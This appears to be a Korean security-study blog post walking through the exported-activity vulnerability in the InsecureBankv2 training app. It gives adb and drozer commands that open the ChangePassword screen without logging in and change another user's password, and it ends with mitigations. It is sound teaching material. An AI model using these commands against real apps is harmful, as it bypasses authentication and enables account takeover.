본문 바로가기

Security Study/Android

[InsecureBankv2] 액티비티 컴포넌트 취약점

취약점 개요

취약점 설명

보안적으로 취약한 액티비티가 원래의 로직을 무시하고 강제로 다른 로직을 호출하는 취약점을 의미한다.

보안 위협

권한이 없는 사용자가 특정 액티비티에 접근하여 권한 없이 특정 기능을 활성화할 수 있다.

발생 위치

AndroidManifest.xml

 

취약점 진단 과정

adb

Step 1) 액티비티 android:exported 속성이 true인 항목 확인

Step 2) 액티비티 실행

# am start -n [애플리케이션 설치 주소]/[패키지 주소]
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword

Step 3) 특정 사용자의 비밀번호 변경

로그에서 성공적으로 패스워드가 변경된 것을 확인할 수 있다

# am start -n [애플리케이션 설치 주소]/[패키지 주소] --es [매개변수 이름] [데이터]
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword --es uname jack

drozer

Step 1) 액티비티 정보 확인

5개의 액티비티 취약점이 있는 것을 확인할 수 있다.

# run app.activity.info -a [애플리케이션 설치 주소]
run app.activity.info -a com.android.insecurebankv2

Step 2) 액티비티 실행

로그인 없이 ChangePassword 액티비티로 이동한 것을 확인할 수 있다.

# run app.activity.start --component [애플리케이션 설치 주소] [패키지 주소]
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword

Step 3) ChangePassword 액티비티 소스 코드 확인

액티비티를 실행할 때 uname에 사용자 이름을 전달하고 textView_Username.setText(this.uname)을 통해 화면에 표시한다. 이후 비밀번호를 입력하고 RequestChangePasswordTask가 실행된다.

protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_change_password);

    // Get Server details from Shared Preference file.
		serverDetails = PreferenceManager.getDefaultSharedPreferences(this);
		serverip = serverDetails.getString("serverip", null);
		serverport = serverDetails.getString("serverport", null);

		changePassword_text = (EditText) findViewById(R.id.editText_newPassword);
		Intent intent = getIntent();
		uname = intent.getStringExtra("uname");
		System.out.println("newpassword=" + uname);
		textView_Username = (TextView) findViewById(R.id.textView_Username);
		textView_Username.setText(uname);

    // Manage the change password button click
		changePassword_button = (Button) findViewById(R.id.button_newPasswordSubmit);
		changePassword_button.setOnClickListener(new View.OnClickListener() {

	      @Override
    		public void onClick(View v) {
		    // TODO Auto-generated method stub
				    new RequestChangePasswordTask().execute(uname);
  			}
		});
}

Step 4) 특정 사용자의 비밀번호 변경

uname이 전달되면 password 입력칸으로 커서가 이동하고, password를 입력하여 비밀번호를 변경할 수 있다.

# run app.activity.start --component [애플리케이션 설치 주소] [패키지 주소] --extra [매개변수 데이터 유형] [매개변수 이름] [데이터]
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack

 

대응 방안

  • AndroidManifest.xml의 액티비티 exported 속성을 “false”로 설정한다.
  • “true”로 설정해야 한다면, 각 액티비티마다 Permision을 추가하여 관리한다.
반응형